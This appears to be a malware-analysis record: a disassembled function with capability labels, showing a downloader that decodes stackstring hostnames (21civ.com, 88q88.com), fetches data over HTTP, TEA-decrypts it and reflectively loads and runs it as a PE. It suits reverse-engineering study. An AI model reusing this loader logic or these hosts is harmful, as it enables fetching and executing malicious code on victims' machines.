Function at 0x405a40
Capabilities:
Contain obfuscated stackstrings
Decrypt data using tea
Encode data using xor
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x884
push ebx
push esi
mov esi, eax
lea ecx, [ebp - 0x94]
lea eax, [ebp - 0x74]
push 0x3ec
mov dword [ebp - 0x234], ecx
mov dword [ebp - 0x238], eax
lea ecx, [ebp - 0x76c]
lea edx, [ebp - 0xa4]
lea eax, [ebp - 0x84]
push 0
push ecx
mov dword [ebp - 0x74], 0x2e316474
mov dword [ebp - 0x70], 0x69633132
mov dword [ebp - 0x6c], 0x6f632e76
mov word [ebp - 0x68], 0x6d
mov dword [ebp - 0x94], 0x2e316474
mov dword [ebp - 0x90], 0x38713838
mov dword [ebp - 0x8c], 0x6f632e38
mov word [ebp - 0x88], 0x6d
mov dword [ebp - 0xa4], 0x2e326474
mov dword [ebp - 0xa0], 0x69633132
mov dword [ebp - 0x9c], 0x6f632e76
mov word [ebp - 0x98], 0x6d
mov dword [ebp - 0x84], 0x2e326474
mov dword [ebp - 0x80], 0x38713838
mov dword [ebp - 0x7c], 0x6f632e38
mov word [ebp - 0x78], 0x6d
mov dword [ebp - 0x230], edx
mov dword [ebp - 0x22c], eax
mov dword [ebp - 0x780], 0x6470752f
mov bl, 0x65
mov dword [ebp - 0x77c], 0x2f657461
mov dword [ebp - 0x778], 0x2f6f7265
mov dword [ebp - 0x774], 0x702e6474
mov dword [ebp - 0x770], 0x3f7068
call fcn.004044b0
add esp, 0xc
mov eax, 0x4893
mov dword [ebp - 0x204], 0x48937b2f
mov dword [ebp - 0x200], 0xa4f59e95
mov dword [ebp - 0x1fc], 0x630a816
mov dword [ebp - 0x2c], 0x544547
mov al, 0x6e
mov dword [ebp - 0xc8], 0x696e6957
mov dword [ebp - 0xc4], 0x2e74656e
mov cl, 0x6c
mov dword [ebp - 0xc0], 0x6c6c64
mov dword [ebp - 0x28], 0x50746547
mov dword [ebp - 0x24], 0x41636f72
mov dword [ebp - 0x20], 0x65726464
mov word [ebp - 0x1c], 0x7373
mov byte [ebp - 0x1a], 0
test esi, esi
je 0x406a0a
mov edx, dword [esi + 0x3c]
add edx, esi
push edi
mov edi, dword [edx + 0x78]
mov dword [ebp - 0x4c], edx
test edi, edi
je 0x406a09
mov edx, dword [edi + esi + 0x24]
add edx, esi
mov dword [ebp - 0x19c], edx
mov edx, dword [edi + esi + 0x20]
mov edi, dword [edi + esi + 0x14]
add edx, esi
mov dword [ebp - 0x1a4], edx
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x40], edi
test edi, edi
je 0x406a09
mov edi, dword [ebp - 0x18]
mov edi, dword [edx + edi*4]
add edi, esi
lea edx, [ebp - 0x28]
mov dword [ebp - 0x10], edx
je 0x406943
mov dl, byte [edi]
mov byte [ebp - 5], dl
test dl, dl
je 0x406943
mov edx, dword [ebp - 0x10]
mov dl, byte [edx]
test dl, dl
je 0x405c44
inc dword [ebp - 0x10]
inc edi
cmp byte [ebp - 5], dl
jne 0x406941
mov cl, byte [edi]
mov byte [ebp - 5], cl
test cl, cl
mov cl, 0x6c
jne 0x405c21
jmp 0x405c4d
cmp byte [edi], 0
jne 0x406943
mov edx, dword [ebp - 0x10]
cmp byte [edx], 0
jne 0x406943
mov edx, dword [ebp - 0x19c]
mov edi, dword [ebp - 0x18]
mov di, word [edx + edi*2]
mov edx, dword [ebp - 0x4c]
mov edx, dword [edx + 0x78]
add di, word [edx + esi + 0x10]
mov edx, 0xffff
movzx edi, di
cmp di, dx
je 0x406a09
mov edx, dword [ebp - 0x4c]
mov edx, dword [edx + 0x78]
sub edi, dword [edx + esi + 0x10]
mov edx, dword [edx + esi + 0x1c]
lea edx, [edx + edi*4]
mov edi, dword [edx + esi]
add edi, esi
mov dword [ebp - 0x40], edi
je 0x406a09
mov dl, 0x41
mov dword [ebp - 0xe4], 0x74726956
mov word [ebp - 0xe0], 0x6175
mov byte [ebp - 0xde], cl
mov byte [ebp - 0xdd], dl
mov byte [ebp - 0xdc], cl
mov byte [ebp - 0xdb], cl
mov word [ebp - 0xda], 0x636f
mov byte [ebp - 0xd8], 0
mov word [ebp - 0xd4], 0x7243
mov byte [ebp - 0xd2], bl
mov word [ebp - 0xd1], 0x7461
mov byte [ebp - 0xcf], bl
mov word [ebp - 0xce], 0x6946
mov byte [ebp - 0xcc], cl
mov byte [ebp - 0xcb], bl
mov word [ebp - 0xca], 0x41
mov byte [ebp - 0x58], 0x52
mov byte [ebp - 0x57], bl
mov dword [ebp - 0x56], 0x69466461
mov byte [ebp - 0x52], cl
mov byte [ebp - 0x51], bl
mov byte [ebp - 0x50], 0
mov byte [ebp - 0xb0], 0x47
mov byte [ebp - 0xaf], bl
mov word [ebp - 0xae], 0x4674
mov byte [ebp - 0xac], 0x69
mov byte [ebp - 0xab], cl
mov byte [ebp - 0xaa], bl
mov word [ebp - 0xa9], 0x6953
mov byte [ebp - 0xa7], 0x7a
mov byte [ebp - 0xa6], bl
mov byte [ebp - 0xa5], 0
mov dword [ebp - 0x104], 0x64616f4c
mov dword [ebp - 0x100], 0x7262694c
mov dword [ebp - 0xfc], 0x41797261
mov byte [ebp - 0xf8], 0
mov byte [ebp - 0x148], 0x47
mov byte [ebp - 0x147], bl
mov dword [ebp - 0x146], 0x646f4d74
mov byte [ebp - 0x142], 0x75
mov byte [ebp - 0x141], cl
mov byte [ebp - 0x140], bl
mov word [ebp - 0x13f], 0x6148
mov byte [ebp - 0x13d], al
mov byte [ebp - 0x13c], 0x64
mov byte [ebp - 0x13b], cl
mov byte [ebp - 0x13a], bl
mov word [ebp - 0x139], 0x41
mov byte [ebp - 0x124], 0x47
mov byte [ebp - 0x123], bl
mov dword [ebp - 0x122], 0x73795374
mov byte [ebp - 0x11e], 0x74
mov byte [ebp - 0x11d], bl
mov word [ebp - 0x11c], 0x496d
mov byte [ebp - 0x11a], al
mov word [ebp - 0x119], 0x6f66
mov byte [ebp - 0x117], 0
mov byte [ebp - 0x114], 0x49
mov byte [ebp - 0x113], al
mov byte [ebp - 0x112], 0x74
mov byte [ebp - 0x111], bl
mov byte [ebp - 0x110], 0x72
mov byte [ebp - 0x10f], al
mov byte [ebp - 0x10e], bl
mov word [ebp - 0x10d], 0x4f74
mov byte [ebp - 0x10b], 0x70
mov byte [ebp - 0x10a], bl
mov byte [ebp - 0x109], al
mov word [ebp - 0x108], 0x41
mov byte [ebp - 0x198], 0x49
mov byte [ebp - 0x197], al
mov byte [ebp - 0x196], 0x74
mov byte [ebp - 0x195], bl
mov byte [ebp - 0x194], 0x72
mov byte [ebp - 0x193], al
mov byte [ebp - 0x192], bl
mov word [ebp - 0x191], 0x4374
mov byte [ebp - 0x18f], 0x6f
mov byte [ebp - 0x18e], al
mov byte [ebp - 0x18d], al
mov byte [ebp - 0x18c], bl
mov dword [ebp - 0x18b], 0x417463
mov dword [ebp - 0x184], 0x70747448
mov word [ebp - 0x180], 0x704f
mov byte [ebp - 0x17e], bl
mov byte [ebp - 0x17d], al
mov byte [ebp - 0x17c], 0x52
mov byte [ebp - 0x17b], bl
mov word [ebp - 0x17a], 0x7571
mov byte [ebp - 0x178], bl
mov dword [ebp - 0x177], 0x417473
mov dword [ebp - 0x15c], 0x70747448
mov byte [ebp - 0x158], 0x53
mov byte [ebp - 0x157], bl
mov byte [ebp - 0x156], al
mov word [ebp - 0x155], 0x5264
mov byte [ebp - 0x153], bl
mov word [ebp - 0x152], 0x7571
mov byte [ebp - 0x150], bl
mov dword [ebp - 0x14f], 0x417473
mov byte [ebp - 0x1f0], 0x49
mov byte [ebp - 0x1ef], al
mov byte [ebp - 0x1ee], 0x74
mov byte [ebp - 0x1ed], bl
mov byte [ebp - 0x1ec], 0x72
mov byte [ebp - 0x1eb], al
mov byte [ebp - 0x1ea], bl
mov word [ebp - 0x1e9], 0x5174
mov byte [ebp - 0x1e7], 0x75
mov byte [ebp - 0x1e6], bl
mov dword [ebp - 0x1e5], 0x61447972
mov dword [ebp - 0x1e1], 0x76416174
mov word [ebp - 0x1dd], 0x6961
mov byte [ebp - 0x1db], cl
mov word [ebp - 0x1da], 0x6261
mov byte [ebp - 0x1d8], cl
mov byte [ebp - 0x1d7], bl
mov byte [ebp - 0x1d6], 0
mov byte [ebp - 0x170], 0x49
mov byte [ebp - 0x16f], al
mov byte [ebp - 0x16e], 0x74
mov byte [ebp - 0x16d], bl
mov byte [ebp - 0x16c], 0x72
mov byte [ebp - 0x16b], al
mov byte [ebp - 0x16a], bl
mov word [ebp - 0x169], 0x5274
mov byte [ebp - 0x167], bl
mov dword [ebp - 0x166], 0x69466461
mov byte [ebp - 0x162], cl
mov byte [ebp - 0x161], bl
mov byte [ebp - 0x160], 0
mov byte [ebp - 0x1bc], 0x49
mov byte [ebp - 0x1bb], al
mov byte [ebp - 0x1ba], 0x74
mov byte [ebp - 0x1b9], bl
mov byte [ebp - 0x1b8], 0x72
mov byte [ebp - 0x1b7], al
mov byte [ebp - 0x1b6], bl
mov word [ebp - 0x1b5], 0x4374
mov byte [ebp - 0x1b3], cl
mov word [ebp - 0x1b2], 0x736f
mov byte [ebp - 0x1b0], bl
mov word [ebp - 0x1af], 0x6148
mov byte [ebp - 0x1ad], al
mov byte [ebp - 0x1ac], 0x64
mov byte [ebp - 0x1ab], cl
mov byte [ebp - 0x1aa], bl
mov byte [ebp - 0x1a9], 0
mov byte [ebp - 0x3c], 0x53
mov byte [ebp - 0x3b], cl
mov byte [ebp - 0x3a], bl
mov byte [ebp - 0x39], bl
mov word [ebp - 0x38], 0x70
mov byte [ebp - 0x1d4], 0x49
mov byte [ebp - 0x1d3], al
mov byte [ebp - 0x1d2], 0x74
mov byte [ebp - 0x1d1], bl
mov byte [ebp - 0x1d0], 0x72
mov byte [ebp - 0x1cf], al
mov byte [ebp - 0x1ce], bl
mov word [ebp - 0x1cd], 0x5174
mov byte [ebp - 0x1c2], al
mov byte [ebp - 0x1e], al
mov byte [ebp - 0xb5], al
lea eax, [ebp - 0xe4]
push eax
push esi
mov byte [ebp - 0x1cb], 0x75
mov byte [ebp - 0x1ca], bl
mov dword [ebp - 0x1c9], 0x704f7972
mov word [ebp - 0x1c5], 0x6974
mov byte [ebp - 0x1c3], 0x6f
mov word [ebp - 0x1c1], 0x41
mov dword [ebp - 0x28], 0x70747448
mov word [ebp - 0x24], 0x7551
mov byte [ebp - 0x22], bl
mov word [ebp - 0x21], 0x7972
mov byte [ebp - 0x1f], 0x49
mov dword [ebp - 0x1d], 0x416f66
mov dword [ebp - 0x64], 0x74697257
mov byte [ebp - 0x60], bl
mov word [ebp - 0x5f], 0x6946
mov byte [ebp - 0x5d], cl
mov byte [ebp - 0x5c], bl
mov byte [ebp - 0x5b], 0
mov byte [ebp - 0x134], 0x47
mov byte [ebp - 0x133], bl
mov dword [ebp - 0x132], 0x73795374
mov byte [ebp - 0x12e], 0x74
mov byte [ebp - 0x12d], bl
mov dword [ebp - 0x12c], 0x6d69546d
mov byte [ebp - 0x128], bl
mov byte [ebp - 0x127], 0
mov byte [ebp - 0xf4], 0x47
mov byte [ebp - 0xf3], bl
mov word [ebp - 0xf2], 0x5474
mov byte [ebp - 0xf0], bl
mov dword [ebp - 0xef], 0x6150706d
mov dword [ebp - 0xeb], 0x416874
mov byte [ebp - 0xbc], 0x43
mov byte [ebp - 0xbb], cl
mov word [ebp - 0xba], 0x736f
mov byte [ebp - 0xb8], bl
mov word [ebp - 0xb7], 0x6148
mov byte [ebp - 0xb4], 0x64
mov byte [ebp - 0xb3], cl
mov byte [ebp - 0xb2], bl
mov byte [ebp - 0xb1], 0
call edi
lea ecx, [ebp - 0xd4]
push ecx
push esi
mov dword [ebp - 0x14], eax
call edi
lea edx, [ebp - 0x58]
push edx
push esi
mov dword [ebp - 0x4c], eax
call edi
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0xb0]
push eax
push esi
call edi
lea ecx, [ebp - 0x104]
push ecx
push esi
mov dword [ebp - 0x48], eax
call edi
lea edx, [ebp - 0x148]
push edx
push esi
mov dword [ebp - 0x1a4], eax
call edi
mov dword [ebp - 0x19c], eax
lea eax, [ebp - 0x124]
push eax
push esi
call edi
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x34], eax
push ecx
push esi
call edi
lea edx, [ebp - 0x64]
push edx
push esi
call edi
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x134]
push eax
push esi
call edi
lea ecx, [ebp - 0xf4]
push ecx
push esi
mov ebx, eax
call edi
lea edx, [ebp - 0xbc]
push edx
push esi
mov dword [ebp - 0x1a8], eax
call edi
cmp dword [ebp - 0x14], 0
mov dword [ebp - 0xc], eax
je 0x406a09
cmp dword [ebp - 0x4c], 0
je 0x406a09
cmp dword [ebp - 0x44], 0
je 0x406a09
cmp dword [ebp - 0x48], 0
je 0x406a09
mov eax, dword [ebp - 0x1a4]
test eax, eax
je 0x406a09
cmp dword [ebp - 0x19c], 0
je 0x406a09
lea ecx, [ebp - 0xc8]
push ecx
call eax
mov esi, eax
test esi, esi
je 0x406a09
lea edx, [ebp - 0x114]
push edx
push esi
call edi
mov dword [ebp - 0x20c], eax
lea eax, [ebp - 0x198]
push eax
push esi
call edi
lea ecx, [ebp - 0x184]
push ecx
push esi
mov dword [ebp - 0x210], eax
call edi
lea edx, [ebp - 0x15c]
push edx
push esi
mov dword [ebp - 0x218], eax
call edi
mov dword [ebp - 0x220], eax
lea eax, [ebp - 0x1f0]
push eax
push esi
call edi
lea ecx, [ebp - 0x170]
push ecx
push esi
mov dword [ebp - 0x1f4], eax
call edi
lea edx, [ebp - 0x1bc]
push edx
push esi
mov dword [ebp - 0x228], eax
call edi
mov dword [ebp - 0x1a0], eax
lea eax, [ebp - 0x1d4]
push eax
push esi
call edi
lea ecx, [ebp - 0x28]
push ecx
push esi
mov dword [ebp - 4], eax
call edi
cmp dword [ebp - 0x20c], 0
mov dword [ebp - 0x224], eax
je 0x406a09
cmp dword [ebp - 0x210], 0
je 0x406a09
cmp dword [ebp - 0x218], 0
je 0x406a09
cmp dword [ebp - 0x220], 0
je 0x406a09
cmp dword [ebp - 0x1f4], 0
je 0x406a09
cmp dword [ebp - 0x228], 0
je 0x406a09
cmp dword [ebp - 4], 0
je 0x406a09
test eax, eax
je 0x406a09
cmp dword [ebp - 0x1a0], 0
je 0x406a09
lea edx, [ebp - 0x884]
push edx
push 0x104
call dword [ebp - 0x1a8]
lea eax, [ebp - 0x248]
push eax
call ebx
movzx ecx, word [ebp - 0x240]
movzx edx, word [ebp - 0x242]
movzx eax, word [ebp - 0x246]
push ecx
movzx ecx, word [ebp - 0x248]
push edx
push eax
push ecx
lea edx, [ebp - 0x884]
push edx
lea eax, [ebp - 0x380]
push str._sms_mod_log__d_d_d_d.log
push eax
mov edx, 0x103
call fcn.004059e0
add esp, 0x1c
xor edi, edi
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
lea ecx, [ebp - 0x380]
push ecx
call dword [ebp - 0x4c]
mov esi, eax
mov dword [ebp - 0x10], edi
cmp esi, 0xffffffff
je 0x4064d3
push edi
push esi
call dword [ebp - 0x48]
mov ebx, eax
test ebx, ebx
je 0x4064c7
push 4
push 0x1000
lea edx, [ebx + ebx]
push edx
push edi
call dword [ebp - 0x14]
push edi
lea ecx, [ebp - 0x21c]
push ecx
push ebx
push eax
push esi
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x21c], edi
call dword [ebp - 0x44]
cmp dword [ebp - 0x21c], ebx
jne 0x4064c7
mov edi, ebx
push esi
call dword [ebp - 0xc]
test edi, edi
jne 0x4066da
mov esi, dword [sym.imp.ole32.dll_CoCreateGuid]
lea edx, [ebp - 0x258]
push edx
call esi
mov ecx, dword [ebp - 0x258]
mov eax, 0x51eb851f
mul ecx
shr edx, 5
imul edx, edx, 0x64
sub ecx, edx
cmp ecx, 0x32
jae 0x406511
lea eax, [ebp - 0x74]
lea ecx, [ebp - 0x94]
mov dword [ebp - 0x234], eax
mov dword [ebp - 0x238], ecx
lea edx, [ebp - 0x258]
push edx
call esi
mov ecx, dword [ebp - 0x258]
mov eax, 0x51eb851f
mul ecx
shr edx, 5
imul edx, edx, 0x64
sub ecx, edx
cmp ecx, 0x32
jae 0x40654c
lea eax, [ebp - 0x84]
lea ecx, [ebp - 0xa4]
mov dword [ebp - 0x230], eax
mov dword [ebp - 0x22c], ecx
mov dword [ebp - 0x44], 0
cmp dword [ebp - 0x44], 4
jae 0x4066d2
mov eax, dword [ebp - 0x44]
push 0
push 0
push 0
mov esi, eax
push 0
inc eax
push 0
mov dword [ebp - 0x44], eax
mov dword [ebp - 4], 0
call dword [ebp - 0x20c]
mov ebx, eax
mov dword [ebp - 0x214], ebx
test ebx, ebx
je 0x4066bd
mov edx, dword [ebp + esi*4 - 0x238]
push 1
push 0
push 3
push 0
push 0
push 0x50
push edx
push ebx
call dword [ebp - 0x210]
mov dword [ebp - 0x1a8], eax
test eax, eax
je 0x4066b6
mov edx, dword [ebp - 0x1a8]
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x780]
push eax
lea ecx, [ebp - 0x2c]
push ecx
push edx
call dword [ebp - 0x218]
mov esi, eax
test esi, esi
je 0x4066a9
push 0
push 0
push 0
push 0
push esi
call dword [ebp - 0x220]
test eax, eax
je 0x4066a2
push 0
lea eax, [ebp - 0x1f8]
push eax
lea ecx, [ebp - 0x48]
push ecx
push 0x20000005
push esi
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x1f8], 4
call dword [ebp - 0x224]
test eax, eax
je 0x4066a2
mov eax, dword [ebp - 0x48]
test eax, eax
je 0x4066a2
push 4
push 0x1000
lea edx, [eax + eax]
push edx
push 0
call dword [ebp - 0x14]
mov ebx, eax
mov dword [ebp - 0x10], ebx
test ebx, ebx
je 0x40669c
push 0
push 0
lea eax, [ebp - 0x18]
push eax
push esi
call dword [ebp - 0x1f4]
test eax, eax
je 0x406695
lea ebx, [ebx]
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x406695
lea ecx, [eax + edi]
cmp ecx, dword [ebp - 0x48]
ja 0x40669c
lea edx, [ebp - 0x18]
push edx
push eax
lea eax, [edi + ebx]
push eax
push esi
call dword [ebp - 0x228]
add edi, dword [ebp - 0x18]
push 0
push 0
lea ecx, [ebp - 0x18]
push ecx
push esi
call dword [ebp - 0x1f4]
test eax, eax
jne 0x406660
mov dword [ebp - 4], 1
mov ebx, dword [ebp - 0x214]
push esi
call dword [ebp - 0x1a0]
mov edx, dword [ebp - 0x1a8]
push edx
call dword [ebp - 0x1a0]
push ebx
call dword [ebp - 0x1a0]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 4], 0
je 0x406553
test edi, edi
je 0x406a09
push 0
push 0x80
push 2
push 0
push 1
push 0x40000000
lea eax, [ebp - 0x380]
push eax
call dword [ebp - 0x4c]
mov ebx, dword [ebp - 0x10]
push 0
lea ecx, [ebp - 4]
push ecx
push edi
mov esi, eax
push ebx
push esi
mov dword [ebp - 4], 0
call dword [ebp - 0x30]
cmp esi, 0xffffffff
je 0x406717
push esi
call dword [ebp - 0xc]
mov edx, ebx
mov dword [ebp - 0xc], edx
cmp edi, 8
jb 0x40679c
shr edi, 3
mov dword [ebp - 4], edi
jmp 0x406730
mov ecx, dword [edx]
mov eax, dword [edx + 4]
mov edx, 0xc6ef3720
mov esi, 0x20
nop
mov edi, ecx
shr edi, 5
add edi, dword [ebp - 0x1fc]
mov ebx, ecx
shl ebx, 4
add ebx, dword [ebp - 0x200]
dec esi
xor edi, ebx
lea ebx, [edx + ecx]
xor edi, ebx
sub eax, edi
mov edi, eax
shr edi, 5
add edi, dword [ebp - 0x204]
lea ebx, [edx + eax]
xor edi, ebx
mov ebx, eax
shl ebx, 4
add ebx, 0x38de4fb5
xor edi, ebx
sub ecx, edi
add edx, 0x61c88647
test esi, esi
jg 0x406740
mov edx, dword [ebp - 0xc]
mov dword [edx], ecx
mov dword [edx + 4], eax
add edx, 8
dec dword [ebp - 4]
mov dword [ebp - 0xc], edx
jne 0x406730
mov esi, dword [ebp - 0x10]
mov edx, 0x5a4d
cmp word [esi], dx
jne 0x406a09
mov eax, dword [esi + 0x3c]
add eax, esi
cmp dword [eax], 0x4550
mov dword [ebp - 0xc], eax
jne 0x406a09
mov ecx, 0xe0
cmp word [eax + 0x14], cx
jne 0x406a09
cmp dword [eax + 0x80], 0
je 0x406a09
mov edx, 0x10b
cmp word [eax + 0x18], dx
jne 0x406a09
movzx ecx, word [eax + 6]
cmp ecx, 1
jb 0x406a09
movzx edx, word [eax + 0x14]
lea edx, [edx + eax + 0x18]
lea eax, [ecx + ecx*4]
add eax, eax
add eax, eax
add eax, eax
sub eax, esi
add eax, edx
mov dword [ebp - 4], edx
mov dword [ebp - 0x30], eax
mov esi, eax
test ecx, ecx
je 0x406831
lea eax, [edx + 0xc]
lea ecx, [ecx]
mov edx, dword [eax + 4]
add edx, dword [eax]
cmp esi, edx
jae 0x40682b
mov esi, edx
add eax, 0x28
dec ecx
jne 0x406820
lea eax, [ebp - 0x27c]
push eax
call dword [ebp - 0x34]
mov ecx, dword [ebp - 0x278]
lea eax, [ecx + esi - 1]
xor edx, edx
div ecx
push 0x40
push 0x1000
imul ecx, eax
push ecx
push 0
call dword [ebp - 0x14]
mov ebx, eax
mov dword [ebp - 0x34], ebx
test ebx, ebx
je 0x406a09
mov ecx, dword [ebp - 0x30]
mov esi, dword [ebp - 0x10]
mov edi, dword [ebp - 0x34]
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebp - 0xc]
xor ecx, ecx
xor edx, edx
cmp cx, word [eax + 6]
jae 0x4068b4
mov eax, dword [ebp - 4]
add eax, 0x14
mov ecx, dword [eax - 8]
add ecx, ebx
mov dword [ebp - 0x34], ecx
mov ecx, dword [eax]
add ecx, dword [ebp - 0x10]
mov dword [ebp - 0x30], ecx
mov ecx, dword [eax - 4]
mov dword [ebp - 4], ecx
mov ecx, dword [ebp - 4]
mov esi, dword [ebp - 0x30]
mov edi, dword [ebp - 0x34]
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp - 0xc]
movzx ecx, word [ecx + 6]
inc edx
add eax, 0x28
cmp edx, ecx
jb 0x406884
mov edx, dword [ebx + 0x3c]
mov eax, dword [edx + ebx + 0x80]
lea edi, [edx + ebx + 0x18]
add eax, ebx
mov dword [ebp - 0x1f8], edi
mov dword [ebp - 0x14], eax
lea ecx, [ecx]
mov ecx, dword [eax + 0xc]
test ecx, ecx
jne 0x4068e0
cmp dword [eax + 4], ecx
je 0x406992
mov eax, dword [ebp - 0x14]
mov esi, dword [eax]
mov eax, dword [eax + 0x10]
add eax, ebx
mov dword [ebp - 0x30], eax
lea eax, [ecx + ebx]
push eax
add esi, ebx
mov dword [ebp - 0x34], eax
call dword [ebp - 0x19c]
mov edi, eax
test edi, edi
jne 0x406916
mov eax, dword [ebp - 0x34]
push eax
call dword [ebp - 0x1a4]
mov edi, eax
test edi, edi
je 0x406a09
mov eax, dword [esi]
test eax, eax
je 0x406980
mov ecx, dword [ebp - 0x30]
sub ecx, esi
mov dword [ebp - 0xc], ecx
test eax, eax
js 0x40695e
lea eax, [eax + ebx + 2]
push eax
push edi
call dword [ebp - 0x40]
test eax, eax
je 0x406a09
mov ecx, dword [ebp - 0xc]
mov dword [ecx + esi], eax
jmp 0x406976
mov cl, 0x6c
mov edx, dword [ebp - 0x18]
inc edx
mov dword [ebp - 0x18], edx
cmp edx, dword [ebp - 0x40]
jae 0x406a09
mov edx, dword [ebp - 0x1a4]
jmp 0x405c00
and eax, 0xffff
push eax
push edi
call dword [ebp - 0x40]
mov edx, dword [ebp - 0xc]
mov dword [edx + esi], eax
test eax, eax
je 0x406a09
mov eax, dword [esi + 4]
add esi, 4
test eax, eax
jne 0x406926
add dword [ebp - 0x14], 0x14
mov edi, dword [ebp - 0x1f8]
mov eax, dword [ebp - 0x14]
jmp 0x4068d0
mov edx, dword [edi + 0x88]
test edx, edx
je 0x4069ed
add edx, ebx
cmp dword [edx], 0
je 0x4069ed
mov eax, dword [edx + 4]
lea esi, [edx + 8]
add eax, edx
cmp esi, eax
jae 0x4069e5
nop
movzx eax, word [esi]
mov ecx, eax
and ecx, 0xf000
cmp ecx, 0x3000
jne 0x4069d5
and eax, 0xfff
add eax, ebx
add eax, dword [edx]
mov ecx, ebx
sub ecx, dword [edi + 0x1c]
add dword [eax], ecx
jmp 0x4069d9
test ecx, ecx
jne 0x406a09
mov eax, dword [edx + 4]
add esi, 2
add eax, edx
cmp esi, eax
jb 0x4069b0
add edx, dword [edx + 4]
cmp dword [edx], 0
jne 0x4069a3
mov eax, dword [edi + 0x10]
test eax, eax
je 0x406a09
lea esi, [eax + ebx]
test esi, esi
je 0x406a09
push 0x50
push 1
push ebx
call esi
push 0x50
push 0
push ebx
call esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret